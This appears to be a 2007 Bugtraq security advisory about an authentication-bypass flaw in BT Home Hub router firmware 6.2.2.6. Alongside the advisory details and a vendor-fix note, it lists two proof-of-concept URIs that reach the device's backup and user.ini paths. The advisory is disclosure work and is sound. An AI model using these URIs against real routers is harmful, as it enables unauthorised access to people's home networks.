BT Home Hub Login Procedure Authentication Bypass Vulnerability

BID:26333

Info

BT Home Hub Login Procedure Authentication Bypass Vulnerability

Bugtraq ID: 26333
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 05 2007 12:00AM
Updated: Nov 15 2007 12:37AM
Credit: David Smith is credited with discovering this issue.
Vulnerable: BT Home Hub 6.2.2.6
Not Vulnerable: BT Home Hub 6.2.C.2

Discussion

BT Home Hub Login Procedure Authentication Bypass Vulnerability

BT Home Hub is prone to an authentication-bypass vulnerability.

An attacker could exploit this issue to gain unauthorized access to the affected device.

BT Home Hub firmware 6.2.2.6 is vulnerable; other versions may also be affected.

Exploit / POC

BT Home Hub Login Procedure Authentication Bypass Vulnerability

An attacker can use a browser to exploit this issue.

The following exploit code and proof-of-concept URIs are available:

http://www.example.com/cgi/b/bandr
http://www.example.com/cgi/b/backup/user.ini/somerandomstringOnce

Solution / Fix

BT Home Hub Login Procedure Authentication Bypass Vulnerability

Solution:
The vendor released an update to address this issue. Please contact the vendor for information on how to obtain and apply this update.

References

BT Home Hub Login Procedure Authentication Bypass Vulnerability

References:
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